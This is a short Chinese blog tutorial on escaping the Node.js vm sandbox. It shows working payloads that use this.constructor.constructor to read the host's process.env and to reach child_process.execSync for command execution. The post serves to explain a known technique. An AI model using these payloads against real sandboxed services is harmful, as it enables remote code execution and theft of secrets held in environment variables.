js沙箱逃逸

  1. vm沙箱逃逸

vm沙箱逃逸

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`let a = "welcome!";a;`);
console.log(xyz);

打印出

welcome

如果换成

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);
console.log(xyz);

结果:

因为 process 是没有定义的

但是我们可以通过这样来获取到系统的环境变量

const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

因为 this 指向了一个外部的对象,this.conatructor 指向的就是 Object 对象的 Constructor , 而 object constructor 返回的就是 Function constructor

完成 RCE

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('dir').toString()`);
console.log(xyz);


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论

文章标题:js沙箱逃逸

文章字数:184

本文作者:prontosil

发布时间:2020-05-10, 20:34:59

最后更新:2020-05-11, 18:04:19

原始链接:http://prontosil.com/posts/55470809/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录